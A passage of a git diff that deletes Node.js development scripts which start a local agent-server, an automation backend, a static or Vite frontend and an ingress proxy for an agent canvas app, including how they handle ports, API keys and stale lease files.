env.OH_SECRET_KEY_PATH || DEFAULT_SECRET_KEY_PATH; - const secretKey = - env.OH_SECRET_KEY || getOrCreatePersistedApiKey(secretKeyPath, "secret"); - // Use the user-provided LOCAL_BACKEND_API_KEY or fall back to a key - // persisted to ~/.openhands/agent-canvas/api-key.txt. Persisting on disk - // keeps the agent-server, the Vite-baked VITE_SESSION_API_KEY, and any - // `openhands-backends` localStorage entries the frontend has cached all - // pointing at the same value across dev restarts. - // - // LOCAL_BACKEND_API_KEY is the single user-facing env var for the API key. - // OH_SESSION_API_KEY_PATH overrides the persisted file path (used by tests). - const persistedKeyPath = env.OH_SESSION_API_KEY_PATH || DEFAULT_API_KEY_PATH; - const sessionApiKey = - env.LOCAL_BACKEND_API_KEY || - getOrCreatePersistedApiKeyFile(persistedKeyPath); - - // Host directory containing the legacy canvas_ui Python module. Persisted - // conversations created before the client_tools migration still reference - // its module qualname, so the agent-server can import it when resuming them. - const canvasToolsDir = fileURLToPath(new URL("../tools", import.meta.url)); - - return { - cwd, - backendPort, - vscodePort, - stateDir, - // tmux socket directory. Defaults to /tmux (under - // ~/.openhands/agent-canvas), matching where the rest of dev state lives - // and persisting across restarts. - // - // Do NOT use os.tmpdir() here: on macOS it resolves to the per-user - // $TMPDIR (/var/folders/.../T), which the OS periodically reaps - // (com.apple.bsd.dirhelper deletes entries untouched for a few days). - // Reaping deletes the live tmux socket while the server process keeps - // running, orphaning it — every later new-window then fails with - // "error connecting to .../openhands (No such file or directory)". - // - // The only hosts where /tmux can't hold the socket are those - // whose $HOME is a network/overlay mount without Unix-domain-socket - // support (some devcontainers, NFS/CIFS homes). Those rare cases can point - // tmux at a local, socket-capable path with the standard TMUX_TMPDIR env - // var (e.g. TMUX_TMPDIR=/tmp), which we honor and pass through below. - tmuxTmpDir: env.TMUX_TMPDIR || path.join(stateDir, "tmux"), - conversationsPath, - workspacesPath, - bashEventsDir: path.join(stateDir, "bash_events"), - backendBaseUrl: `http://127.0.0.1:${backendPort}`, - backendHost: `127.0.0.1:${backendPort}`, - workingDir: env.VITE_WORKING_DIR || workspacesPath, - secretKey, - sessionApiKey, - canvasToolsDir, - }; -} - -/** - * Build the environment variables object for spawning the agent-server process. - * - * This is exported so downstream consumers (e.g., automation service) can use - * the same env vars without duplicating the mapping logic. - * - * @param {ReturnType} config - Config from buildSafeDevConfig - * @returns {Record} Environment variables for agent-server - */ -export function buildAgentServerEnv(config) { - return { - // Force Python to use UTF-8 for all file I/O and streams. - // - // On Windows, Python defaults to the system ANSI codepage (e.g. cp1252). - // The agent-server writes conversation metadata JSON that can contain - // emoji (e.g. ✅ U+2705) which cp1252 cannot encode, producing: - // UnicodeEncodeError: 'charmap' codec can't encode character '\u2705' - // Setting PYTHONUTF8=1 enables Python's UTF-8 mode (PEP 540) for the - // entire agent-server process, matching the behaviour on Linux/macOS - // where the locale is already UTF-8. - // This is a no-op on Linux/macOS where the locale is already UTF-8. - PYTHONUTF8: "1", - TMUX_TMPDIR: config.tmuxTmpDir, - // Parent of stateDir (= ~/.openhands) so settings/secrets match Docker. - OH_PERSISTENCE_DIR: path.dirname(config.stateDir), - OH_CONVERSATIONS_PATH: config.conversationsPath, - OH_BASH_EVENTS_DIR: config.bashEventsDir, - OH_VSCODE_PORT: String(config.vscodePort), - OH_SECRET_KEY: config.secretKey, - // Use OH_SESSION_API_KEYS_0 for agent-server V1 config format - OH_SESSION_API_KEYS_0: config.sessionApiKey, - // Alias for the agent-server's own URL. The agent-server itself sets - // OH_INTERNAL_SERVER_URL at startup, but downstream consumers (the - // OpenHands SDK boilerplate emitted by automation prompt/plugin - // presets) read AGENT_SERVER_URL — the canonical SDK name. Mirror it - // here so automation runs work without each tarball having to know - // about the OH_-prefixed variant. - // - // We deliberately do NOT set a SESSION_API_KEY alias: the SDK's - // sanitized_env() would strip it from bash subprocesses anyway, and - // a follow-up change to the automation preset reads - // OH_SESSION_API_KEYS_0 directly (which is already in env). - AGENT_SERVER_URL: config.backendBaseUrl, - // Let the agent-server resolve canvas_ui_tool when old persisted metadata - // requests that compatibility module during startup. - OH_EXTRA_PYTHON_PATH: config.canvasToolsDir, - }; -} - -// Re-export so existing importers (dev-with-automation.mjs, tests) keep -// resolving `buildRuntimeServicesInfo` from this module. The implementation -// now lives in ./runtime-services-info.mjs (imported at the top of this file). -export { buildRuntimeServicesInfo }; - -export function buildNpmScriptCommand( - scriptName, - platform = process.platform, - env = process.env, - nodeExecPath = process.execPath, -) { - // On Windows, always use cmd.exe regardless of whether npm_execpath is set. - // npm_execpath points to a path like - // "C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js" which contains - // spaces. When that path is passed as an argument with shell:true in - // spawnService, cmd.exe splits on the space and tries to run "C:\Program" - // as a command, producing "not recognized as an internal or external command". - // Using "npm" via cmd.exe avoids the problem entirely. - if (platform === "win32") { - return { - command: env.ComSpec || "cmd.exe", - args: ["/d", "/s", "/c", "npm", "run", scriptName], - }; - } - - if (env.npm_execpath) { - return { - command: env.npm_node_execpath || nodeExecPath, - args: [env.npm_execpath, "run", scriptName], - }; - } - - return { - command: "npm", - args: ["run", scriptName], - }; -} - -export function validateLocalAgentServerPath(localPath) { - if (!path.isAbsolute(localPath)) { - throw new Error( - `OH_AGENT_SERVER_LOCAL_PATH must be an absolute path, got: ${localPath}`, - ); - } - if (!existsSync(localPath)) { - throw new Error(`OH_AGENT_SERVER_LOCAL_PATH does not exist: ${localPath}`); - } - for (const subdir of LOCAL_AGENT_SERVER_SUBDIRS) { - const subdirPath = path.join(localPath, subdir); - if (!existsSync(subdirPath)) { - throw new Error( - `OH_AGENT_SERVER_LOCAL_PATH is missing expected workspace package '${subdir}': ${subdirPath}`, - ); - } - } -} - -async function waitForServer(url, timeoutMs = DEFAULT_WAIT_TIMEOUT_MS) { - const startedAt = Date.now(); - - while (Date.now() - startedAt < timeoutMs) { - try { - const response = await fetch(url); - if (response.ok) { - return; - } - } catch { - // Keep polling until timeout. - } - - await delay(500); - } - - throw new Error(`Timed out waiting for agent-server at ${url}`); -} - -function spawnProcess(command, args, options = {}) { - const child = spawn( - command, - args, - getProcessTreeSpawnOptions({ - stdio: "inherit", - ...options, - }), - ); - - child.once("error", (error) => { - if (isEnoentError(error) && command === "uvx") { - const msg = formatMissingUvxGuidance(options?.cwd); - console.error(msg); - fileLog("error", stripAnsi(msg)); - } else if (isEnoentError(error)) { - const msg = `Failed to start ${command}. Make sure it is installed and on your PATH.`; - console.error(msg); - fileLog("error", msg); - } else { - console.error(`Failed to start ${command}:`, error); - fileLog("error", `Failed to start ${command}: ${error.message}`); - } - }); - - return child; -} - -async function main() { - console.log("Starting isolated agent-server + frontend dev stack..."); - fileLog("info", "Starting isolated agent-server + frontend dev stack..."); - validateFrontendDependencies(); - console.log("Frontend dependencies found."); - fileLog("info", "Frontend dependencies found."); - console.log("Allocating ports..."); - fileLog("info", "Allocating ports..."); - - // Use async config builder with dynamic port allocation - const config = await buildSafeDevConfigAsync(); - - if (process.env.OH_AGENT_SERVER_LOCAL_PATH) { - validateLocalAgentServerPath(process.env.OH_AGENT_SERVER_LOCAL_PATH); - } - - for (const dir of [ - config.stateDir, - config.tmuxTmpDir, - config.conversationsPath, - config.workspacesPath, - config.bashEventsDir, - ]) { - mkdirSync(dir, { recursive: true }); - } - - const agentServerCmd = buildAgentServerCommand(); - - const secretKeySource = process.env.OH_SECRET_KEY - ? "custom (from OH_SECRET_KEY)" - : `persisted (${process.env.OH_SECRET_KEY_PATH || DEFAULT_SECRET_KEY_PATH})`; - - const sessionKeySource = process.env.LOCAL_BACKEND_API_KEY - ? "custom (from LOCAL_BACKEND_API_KEY)" - : `persisted (${ - process.env.OH_SESSION_API_KEY_PATH || DEFAULT_API_KEY_PATH - })`; - - console.log(`- agent-server: ${agentServerCmd.source}`); - console.log(`- backend: ${config.backendBaseUrl}`); - console.log(`- vscode port: ${config.vscodePort}`); - console.log(`- working dir: ${config.workingDir}`); - console.log(`- isolated state dir: ${config.stateDir}`); - console.log(`- secret key: ${secretKeySource}`); - console.log(`- session API key: ${sessionKeySource}`); - console.log(""); - fileLog( - "info", - [ - "Agent-server stack config:", - ` agent-server: ${agentServerCmd.source}`, - ` backend: ${config.backendBaseUrl}`, - ` working dir: ${config.workingDir}`, - ` state dir: ${config.stateDir}`, - ].join("\n"), - ); - - const backend = spawnProcess( - agentServerCmd.command, - [ - ...agentServerCmd.args, - "--host", - "127.0.0.1", - "--port", - String(config.backendPort), - ], - { - cwd: config.cwd, - env: { - ...process.env, - ...buildAgentServerEnv(config), - }, - }, - ); - - let shuttingDown = false; - let frontend = null; - - const shutdown = (signal = "SIGTERM") => { - if (shuttingDown) { - return; - } - - shuttingDown = true; - if (frontend) { - signalProcessTree(frontend, signal); - } - signalProcessTree(backend, signal); - - setTimeout(() => { - if (frontend && isProcessRunning(frontend)) { - signalProcessTree(frontend, "SIGKILL"); - } - if (isProcessRunning(backend)) { - signalProcessTree(backend, "SIGKILL"); - } - process.exit(process.exitCode ?? 0); - }, 3000); - }; - - process.on("SIGINT", () => shutdown("SIGINT")); - process.on("SIGTERM", () => shutdown("SIGTERM")); - - const backendErrored = new Promise((_, reject) => { - backend.once("error", (error) => reject(error)); - }); - const backendExited = new Promise((_, reject) => { - backend.once("exit", (code, signal) => { - if (!shuttingDown) { - reject( - new Error( - `agent-server exited before startup completed (code=${code ?? "null"}, signal=${signal ?? "null"})`, - ), - ); - } - }); - }); - - try { - await Promise.race([ - waitForServer(`${config.backendBaseUrl}/server_info`), - backendErrored, - backendExited, - ]); - } catch (error) { - shutdown(); - throw error; - } - - const frontendCommand = buildNpmScriptCommand("dev:frontend"); - const runtimeServicesInfo = buildRuntimeServicesInfo({ - mode: "dev:safe", - agentServerPort: config.backendPort, - }); - frontend = spawnProcess(frontendCommand.command, frontendCommand.args, { - cwd: config.cwd, - env: { - ...process.env, - VITE_BACKEND_HOST: config.backendHost, - VITE_BACKEND_BASE_URL: config.backendBaseUrl, - VITE_WORKING_DIR: config.workingDir, - // Pass session API key so frontend can authenticate with agent-server - VITE_SESSION_API_KEY: config.sessionApiKey, - // Inform the frontend (and downstream, the agent's system prompt) about - // which services are available in this dev stack. - VITE_RUNTIME_SERVICES_INFO: JSON.stringify(runtimeServicesInfo), - }, - }); - - frontend.once("exit", (code) => { - shutdown(); - process.exitCode = code ?? 0; - }); - - backend.once("exit", (code) => { - if (!shuttingDown) { - const msg = `agent-server exited unexpectedly with code ${code ?? 0}`; - console.error(msg); - fileLog("error", msg); - shutdown(); - process.exitCode = code ?? 1; - } - }); -} - -// ───────────────────────────────────────────────────────────────────────────── -// Conversation lease cleanup -// ───────────────────────────────────────────────────────────────────────────── - -/** - * Returns true if `host:port` accepts a TCP connection within `timeoutMs`. - * Used to detect a live agent-server we shouldn't disturb. - */ -export function isPortBusy(port, host = "127.0.0.1", timeoutMs = 500) { - return new Promise((resolve) => { - const socket = new net.Socket(); - let settled = false; - const finish = (busy) => { - if (settled) return; - settled = true; - socket.destroy(); - resolve(busy); - }; - socket.setTimeout(timeoutMs); - socket.once("connect", () => finish(true)); - socket.once("timeout", () => finish(false)); - socket.once("error", () => finish(false)); - socket.connect(port, host); - }); -} - -/** - * Remove stale `owner_lease.json` files under `conversationsDir` so a - * freshly spawned agent-server can claim ownership and re-load every - * existing conversation. - * - * Why this is needed: each conversation directory carries an - * `owner_lease.json` that locks it to a single agent-server's - * `owner_instance_id` for a 45 s TTL refreshed by heartbeat. On - * graceful shutdown the agent-server unlinks its leases; on a hard - * kill (or a fast restart, well under 45 s) the leases linger. A new - * agent-server with a fresh `owner_instance_id` will then raise - * `ConversationLeaseHeldError` for each conversation at startup load - * and skip it entirely — `/api/conversations/search` returns `[]` - * even though the meta files are right there on disk. - * - * The caller MUST verify (e.g. with `isPortBusy`) that no agent-server - * is currently bound to the backend port before calling this — there - * is no other reliable way to tell a stale lease from an actively - * renewed one. - * - * Returns the number of lease files unlinked. - */ -export function releaseStaleConversationLeases(conversationsDir) { - if (!existsSync(conversationsDir)) return 0; - - let removed = 0; - for (const name of readdirSync(conversationsDir)) { - const convDir = path.join(conversationsDir, name); - let isDir = false; - try { - isDir = statSync(convDir).isDirectory(); - } catch { - continue; - } - if (!isDir) continue; - - const leasePath = path.join(convDir, "owner_lease.json"); - if (!existsSync(leasePath)) continue; - try { - unlinkSync(leasePath); - removed += 1; - } catch { - // Best-effort: the new agent-server will simply skip this - // conversation as before. Don't fail the whole start. - } - } - return removed; -} - -if ( - process.argv[1] && - import.meta.url === pathToFileURL(process.argv[1]).href -) { - main().catch((error) => { - const msg = error instanceof Error ? error.message : String(error); - console.error(msg); - fileLog("error", `Fatal error: ${msg}`); - if (error instanceof Error && error.stack) { - fileLog("error", error.stack); - } - process.exit(1); - }); -} diff --git a/scripts/dev-static.mjs b/scripts/dev-static.mjs deleted file mode 100644 index 18f0be291..000000000 --- a/scripts/dev-static.mjs +++ /dev/null @@ -1,644 +0,0 @@ -/** - * Static-frontend Development Stack - * - * Same as the default automation stack but serves a production build of the - * frontend via `scripts/static-server.mjs` instead of the Vite dev server. - * Designed for slow / flaky network situations (e.g. plane wifi) - * where Vite's ~1000 individual module requests per page load are the - * bottleneck. The static build collapses the frontend into ~50 hashed - * chunks that all 304 cleanly on reload. - * - * Architecture (identical to dev-with-automation, only the frontend differs): - * ┌──────────────────────────────────────────────────────────────────────────┐ - * │ http://localhost:8000 (Ingress Proxy) │ - * │ /api/automation/* → Automation Backend │ - * │ /api/*, /sockets → Agent Server │ - * │ /* → Static Frontend │ - * └──────────────────────────────────────────────────────────────────────────┘ - * │ │ │ - * ▼ ▼ ▼ - * ┌─────────────┐ ┌───────────────┐ ┌──────────────────┐ - * │ sirv-cli │ │ Agent Server │ │ Automation │ - * │ build/ │ │ (uvx) :18000 │ │ Backend (uvx) │ - * │ :3001 │ │ │ │ :18001 │ - * └─────────────┘ └───────────────┘ └──────────────────┘ - * - * Usage: - * npm run dev:static - * npm run dev:static -- --port 12000 - * npm run dev:static -- --skip-build # reuse an existing build/ - * npm run dev:static -- --automation-ref feat/my-branch - * - * Environment variables (all optional, same as dev): - * - PORT: Ingress port (default: 8000) - * - OH_AUTOMATION_GIT_REF: Git ref for automation (default: main) - * - OH_AGENT_SERVER_GIT_REF: Git ref for agent-server - * - OH_SECRET_KEY: Session secret key - */ - -import { spawn, spawnSync } from "node:child_process"; -import { join, resolve, dirname } from "node:path"; -import { fileURLToPath, pathToFileURL } from "node:url"; -import { setTimeout as delay } from "node:timers/promises"; -import process from "node:process"; - -import { buildFrontend } from "./static-build.mjs"; -import { - buildAgentServerCommand, - buildSafeDevConfig, - buildAgentServerEnv, - formatMissingUvxGuidance, - isPortBusy, - releaseStaleConversationLeases, -} from "./dev-safe.mjs"; -import { - getProcessTreeSpawnOptions, - isProcessRunning, - resolveWindowsCommand, - signalProcessTree, -} from "./dev-process-utils.mjs"; -import { - buildAgentServerAutomationEnv, - buildAutomationCommand, - buildAutomationTelemetryEnv, - buildConfig, -} from "./dev-with-automation.mjs"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const projectRoot = resolve(__dirname, ".."); - -// ═══════════════════════════════════════════════════════════════════════════ -// Terminal Styling -// ═══════════════════════════════════════════════════════════════════════════ - -const c = { - reset: "\x1b[0m", - bold: "\x1b[1m", - dim: "\x1b[2m", - red: "\x1b[31m", - green: "\x1b[32m", - yellow: "\x1b[33m", - blue: "\x1b[34m", - magenta: "\x1b[35m", - cyan: "\x1b[36m", -}; - -function logService(name, message, color = c.reset) { - const ts = new Date().toISOString().split("T")[1].split(".")[0]; - console.log(`${c.dim}${ts}${c.reset} ${color}[${name}]${c.reset} ${message}`); -} - -function logStep(step, message) { - console.log(`${c.cyan}[${step}]${c.reset} ${message}`); -} - -function logSuccess(message) { - console.log(`${c.green}✓${c.reset} ${message}`); -} - -function logError(message) { - console.error(`${c.red}✗${c.reset} ${message}`); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// CLI parsing -// ═══════════════════════════════════════════════════════════════════════════ - -export function parseArgs(argv = process.argv.slice(2)) { - const config = { - port: null, - automationGitRef: null, - automationRepo: null, - skipBuild: false, - verbose: false, - }; - - for (let i = 0; i < argv.length; i++) { - switch (argv[i]) { - case "-p": - case "--port": - config.port = parseInt(argv[++i], 10); - break; - case "--automation-ref": - config.automationGitRef = argv[++i]; - break; - case "--automation-repo": - config.automationRepo = argv[++i]; - break; - case "--skip-build": - config.skipBuild = true; - break; - case "-v": - case "--verbose": - config.verbose = true; - break; - case "-h": - case "--help": - showHelp(); - process.exit(0); - } - } - - return config; -} - -function showHelp() { - console.log(` -Agent Canvas Static-frontend Development Stack - -Runs the automation stack, but serves a production build of the -frontend via scripts/static-server.mjs. Use this when a remote or flaky network -makes Vite's per-module requests painful (e.g. ngrok or plane wifi). - -USAGE: - npm run dev:static [-- options] - -OPTIONS: - -p, --port Ingress port (default: 8000) - --automation-ref Git ref for automation backend (default: main) - --automation-repo Git repo URL for automation - --skip-build Reuse existing build/ directory (faster restart) - -v, --verbose Show detailed output - -h, --help Show this help - -ENVIRONMENT VARIABLES: - PORT Alternative to --port - OH_AUTOMATION_GIT_REF Alternative to --automation-ref - OH_AGENT_SERVER_GIT_REF Git ref for agent-server SDK - OH_SECRET_KEY Secret key for sessions - -ACCESS POINTS: - Main UI: http://localhost:PORT/ - API Docs: http://localhost:PORT/api/automation/docs - -NOTES: - • The build is produced once at startup. Edit the source and rerun this - command (or rebuild with \`npm run build:app\`) to pick up changes. - • The static server sends ETag headers, so reloads return 304s instead of - refetching content — much friendlier on slow links. -`); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Prerequisites & Setup -// ═══════════════════════════════════════════════════════════════════════════ - -function commandExists(cmd) { - const result = - process.platform === "win32" - ? spawnSync("where.exe", [cmd], { stdio: "pipe" }) - : spawnSync("sh", ["-c", `command -v ${cmd}`], { stdio: "pipe" }); - - return result.status === 0; -} - -function checkPrerequisites() { - logStep("1/3", "Checking prerequisites..."); - - if (!commandExists("uvx")) { - console.error(formatMissingUvxGuidance(projectRoot)); - process.exit(1); - } - logSuccess("uvx found"); - - if (!commandExists("npm")) { - logError("npm is required but not found"); - process.exit(1); - } - logSuccess("npm found"); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Process Management -// ═══════════════════════════════════════════════════════════════════════════ - -const processes = new Map(); -let shuttingDown = false; - -function spawnService(name, command, args, options = {}) { - const proc = spawn( - resolveWindowsCommand(command), - args, - getProcessTreeSpawnOptions({ - stdio: ["ignore", "pipe", "pipe"], - env: { ...process.env, ...options.env }, - cwd: options.cwd, - }), - ); - - const color = options.color || c.reset; - - proc.stdout.on("data", (data) => { - data - .toString() - .split("\n") - .filter(Boolean) - .forEach((line) => logService(name, line.trim(), color)); - }); - - proc.stderr.on("data", (data) => { - data - .toString() - .split("\n") - .filter(Boolean) - .forEach((line) => logService(name, line.trim(), c.yellow)); - }); - - proc.on("error", (error) => { - logError(`${name} failed to start: ${error.message}`); - }); - - proc.on("exit", (code) => { - if (code !== 0 && code !== null && !shuttingDown) { - logService(name, `Exited with code ${code}`, c.red); - } - processes.delete(name); - }); - - processes.set(name, proc); - return proc; -} - -async function waitForService(name, url, timeoutMs = 30000) { - const start = Date.now(); - - while (Date.now() - start < timeoutMs) { - try { - const res = await fetch(url); - if (res.ok) { - logService(name, `Ready at ${url}`, c.green); - return true; - } - } catch { - // Keep trying - } - await delay(500); - } - - logService(name, `Timeout waiting for ${url}`, c.red); - return false; -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Service Starters (agent-server + automation are byte-for-byte the same as -// dev-with-automation; the only difference is the frontend service.) -// ═══════════════════════════════════════════════════════════════════════════ - -function startAgentServer(config) { - logService( - "agent-server", - `Starting on port ${config.agentServerPort}...`, - c.blue, - ); - - const agentServerCmd = buildAgentServerCommand(process.env); - logService("agent-server", `Using ${agentServerCmd.source}`, c.dim); - - const safeConfig = buildSafeDevConfig(config.canvasPath, { - ...process.env, - OH_CANVAS_SAFE_STATE_DIR: config.stateDir, - OH_CANVAS_SAFE_BACKEND_PORT: config.agentServerPort.toString(), - OH_CANVAS_SAFE_VSCODE_PORT: config.vscodePort.toString(), - }); - - const agentServerEnv = { - ...buildAgentServerEnv(safeConfig), - ...buildAgentServerAutomationEnv(config), - }; - - spawnService( - "agent-server", - agentServerCmd.command, - [ - ...agentServerCmd.args, - "--host", - "0.0.0.0", - "--port", - String(config.agentServerPort), - ], - { - cwd: safeConfig.workspacesPath, - env: agentServerEnv, - color: c.blue, - }, - ); -} - -function buildAutomationBackendEnv(config, env = process.env) { - // Both backends share the same session API key value. - return { - AUTOMATION_AGENT_SERVER_URL: `http://localhost:${config.agentServerPort}`, - AUTOMATION_AGENT_SERVER_API_KEY: config.sessionApiKey, - AUTOMATION_DB_URL: `sqlite+aiosqlite:///${join(config.stateDir, "automations.db")}`, - AUTOMATION_BASE_URL: `http://localhost:${config.ingressPort}`, - AUTOMATION_WORKSPACE_BASE: join(config.stateDir, "workspaces"), - AUTOMATION_LOCAL_API_KEY: config.sessionApiKey, - ...buildAutomationTelemetryEnv(env), - AUTOMATION_CORS_ORIGINS: `http://localhost:${config.ingressPort},http://127.0.0.1:${config.ingressPort},http://localhost:3001,http://127.0.0.1:3001`, - FILE_STORE: "local", - LOCAL_STORAGE_PATH: join(config.stateDir, "storage"), - OPENHANDS_SUPPRESS_BANNER: "1", - }; -} - -function startAutomationBackend(config) { - logService( - "automation", - `Starting on port ${config.autoBackendPort}...`, - c.green, - ); - - const automationCmd = buildAutomationCommand(process.env); - logService("automation", `Using ${automationCmd.source}`, c.dim); - - spawnService( - "automation", - automationCmd.command, - [ - ...automationCmd.args, - "--host", - "0.0.0.0", - "--port", - config.autoBackendPort.toString(), - ], - { - cwd: config.stateDir, - env: buildAutomationBackendEnv(config), - color: c.green, - }, - ); -} - -function startStaticServer(config) { - // Reuse `vitePort` as the upstream port name so the ingress route table - // below stays identical to dev-with-automation.mjs. - logService("static", `Starting on port ${config.vitePort}...`, c.magenta); - - // Mirror the proxy targets that vite.config.ts exposes in dev mode so that - // hitting :3001 directly behaves like Vite's dev server (e.g. /server_info - // is forwarded to the agent-server instead of falling back to the SPA - // shell). Without this, /server_info on :3001 returns index.html. - const staticServerScript = join(projectRoot, "scripts", "static-server.mjs"); - spawnService( - "static", - "node", - [ - staticServerScript, - "--dir", - join(config.canvasPath, "build"), - "--port", - String(config.vitePort), - ...(process.env.VITE_BASE_PATH - ? ["--base-path", process.env.VITE_BASE_PATH] - : []), - // Inject the API key so the pre-built frontend can authenticate - // to the agent-server without a baked-in VITE_SESSION_API_KEY. - ...(config.sessionApiKey - ? ["--session-api-key", config.sessionApiKey] - : []), - "--route", - `/api/automation=http://localhost:${config.autoBackendPort}`, - "--route", - `/api=http://localhost:${config.agentServerPort}`, - "--route", - `/sockets=http://localhost:${config.agentServerPort}`, - "--route", - `/server_info=http://localhost:${config.agentServerPort}`, - "--route", - `/health=http://localhost:${config.agentServerPort}`, - "--route", - `/ready=http://localhost:${config.agentServerPort}`, - "--route", - `/alive=http://localhost:${config.agentServerPort}`, - "--route", - `/docs=http://localhost:${config.agentServerPort}`, - "--route", - `/redoc=http://localhost:${config.agentServerPort}`, - "--route", - `/openapi.json=http://localhost:${config.agentServerPort}`, - ], - { - cwd: config.canvasPath, - color: c.magenta, - }, - ); -} - -function startIngress(config) { - logService("ingress", `Starting on port ${config.ingressPort}...`, c.yellow); - - const ingressScript = join(projectRoot, "scripts", "ingress.mjs"); - - spawnService( - "ingress", - "node", - [ - ingressScript, - "--port", - config.ingressPort.toString(), - "--route", - `/api/automation=http://localhost:${config.autoBackendPort}`, - "--route", - `/api=http://localhost:${config.agentServerPort}`, - "--route", - `/sockets=http://localhost:${config.agentServerPort}`, - "--route", - `/server_info=http://localhost:${config.agentServerPort}`, - "--route", - `/health=http://localhost:${config.agentServerPort}`, - "--route", - `/ready=http://localhost:${config.agentServerPort}`, - "--route", - `/alive=http://localhost:${config.agentServerPort}`, - "--route", - `/docs=http://localhost:${config.agentServerPort}`, - "--route", - `/redoc=http://localhost:${config.agentServerPort}`, - "--route", - `/openapi.json=http://localhost:${config.agentServerPort}`, - "--default", - `http://localhost:${config.vitePort}`, - ], - { - cwd: projectRoot, - color: c.yellow, - }, - ); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Shutdown / Banner -// ═══════════════════════════════════════════════════════════════════════════ - -function shutdown() { - if (shuttingDown) return; - shuttingDown = true; - - console.log(""); - console.log(`${c.yellow}Shutting down...${c.reset}`); - - for (const [name, proc] of processes) { - logService(name, "Stopping...", c.dim); - signalProcessTree(proc, "SIGTERM"); - } - - setTimeout(() => { - for (const [name, proc] of processes) { - if (isProcessRunning(proc)) { - logService(name, "Force stopping...", c.dim); - signalProcessTree(proc, "SIGKILL"); - } - } - process.exit(0); - }, 3000); -} - -process.on("SIGINT", shutdown); -process.on("SIGTERM", shutdown); - -function printBanner(config) { - console.log(""); - console.log( - `${c.green}${c.bold}╔══════════════════════════════════════════════════════════════╗${c.reset}`, - ); - console.log( - `${c.green}${c.bold}║${c.reset} ${c.bold}Agent Canvas Static-frontend Stack${c.reset} ${c.green}${c.bold}║${c.reset}`, - ); - console.log( - `${c.green}${c.bold}╠══════════════════════════════════════════════════════════════╣${c.reset}`, - ); - console.log( - `${c.green}${c.bold}║${c.reset} ${c.green}${c.bold}║${c.reset}`, - ); - console.log( - `${c.green}${c.bold}║${c.reset} Main UI: ${c.cyan}http://localhost:${config.ingressPort}/${c.reset}`.padEnd( - 75, - ) + `${c.green}${c.bold}║${c.reset}`, - ); - console.log( - `${c.green}${c.bold}║${c.reset} API Docs: ${c.cyan}http://localhost:${config.ingressPort}/api/automation/docs${c.reset}`.padEnd( - 75, - ) + `${c.green}${c.bold}║${c.reset}`, - ); - console.log( - `${c.green}${c.bold}║${c.reset} ${c.green}${c.bold}║${c.reset}`, - ); - console.log( - `${c.green}${c.bold}╚══════════════════════════════════════════════════════════════╝${c.reset}`, - ); - console.log(""); - console.log(`${c.dim}State directory: ${config.stateDir}${c.reset}`); - console.log( - `${c.dim}Frontend served from: ${join(config.canvasPath, "build")}${c.reset}`, - ); - console.log( - `${c.dim}Edit sources, then re-run \`npm run dev:static\` to rebuild.${c.reset}`, - ); - console.log(`${c.dim}Press Ctrl+C to stop${c.reset}`); - console.log(""); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Main -// ═══════════════════════════════════════════════════════════════════════════ - -async function main() { - const args = parseArgs(); - const config = await buildConfig(args); - - console.log(""); - console.log( - `${c.cyan}${c.bold}Agent Canvas Static-frontend Development Stack${c.reset}`, - ); - console.log(""); - - // Setup phase (1/3) - checkPrerequisites(); - - // Ensure isolated state dirs (same as dev-with-automation). - const { mkdirSync } = await import("node:fs"); - for (const dir of [ - config.stateDir, - join(config.stateDir, "dev_conversations"), - join(config.stateDir, "workspaces"), - join(config.stateDir, "bash_events"), - join(config.stateDir, "storage"), - ]) { - mkdirSync(dir, { recursive: true }); - } - - // Build phase (2/3): block until the SPA is ready to serve. - buildFrontend(config, args); - - // Service phase (3/3) - logStep("3/3", "Starting services..."); - - // The agent-server skip-loads any conversation whose `owner_lease.json` - // is held by a different `owner_instance_id` and not yet expired (45 s - // TTL). If a previous agent-server (e.g. from `npm run dev`) was killed - // ungracefully — or we restart faster than the lease TTL — every - // conversation gets hidden until those stale leases age out, which - // looks like "the new agent-server doesn't inherit my conversations". - // Bail out if a live agent-server is already bound to our port (we'd - // collide anyway), otherwise unlink the stale leases so the new server - // can claim ownership immediately. - if (await isPortBusy(config.agentServerPort)) { - logError( - `Port ${config.agentServerPort} is already in use — another ` + - `agent-server is running. Stop it (e.g. quit \`npm run dev\`) ` + - `before running dev:static.`, - ); - process.exit(1); - } - const conversationsPath = join(config.stateDir, "dev_conversations"); - const cleared = releaseStaleConversationLeases(conversationsPath); - if (cleared > 0) { - logService( - "agent-server", - `Released ${cleared} stale conversation lease(s) so the new ` + - `agent-server can resume ownership.`, - c.dim, - ); - } - - startAgentServer(config); - await waitForService( - "agent-server", - `http://localhost:${config.agentServerPort}/server_info`, - ); - - startAutomationBackend(config); - - startStaticServer(config); - - await delay(2000); - - startIngress(config); - - await delay(1000); - - printBanner(config); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Exports for testing -// ═══════════════════════════════════════════════════════════════════════════ - -export { buildAutomationBackendEnv, buildFrontend, startStaticServer }; - -// ═══════════════════════════════════════════════════════════════════════════ -// Main entry point (only when run directly, not when imported) -// ═══════════════════════════════════════════════════════════════════════════ - -const isMainModule = - process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href; - -if (isMainModule) { - main().catch((err) => { - logError(`Fatal error: ${err.message}`); - if (err.stack) { - console.error(c.dim + err.stack + c.reset); - } - process.exit(1); - }); -} diff --git a/scripts/dev-with-automation.mjs b/scripts/dev-with-automation.mjs deleted file mode 100644 index cc52a3532..000000000 --- a/scripts/dev-with-automation.mjs +++ /dev/null @@ -1,1538 +0,0 @@ -/** - * Development Stack with Automation Service - * - * Extends agent-canvas's dev-safe.mjs to additionally run the OpenHands Automation - * backend via uvx. No cloning required - runs directly from git reference. - * - * Uses a standalone ingress proxy to route traffic to multiple backends. - * - * Architecture: - * ┌──────────────────────────────────────────────────────────────────────────┐ - * │ http://localhost:8000 (Ingress Proxy) │ - * │ /api/automation/* → Automation Backend │ - * │ /api/*, /sockets → Agent Server │ - * │ /* → Vite Dev Server │ - * └──────────────────────────────────────────────────────────────────────────┘ - * │ │ │ - * ▼ ▼ ▼ - * ┌─────────────┐ ┌───────────────┐ ┌──────────────────┐ - * │ Vite │ │ Agent Server │ │ 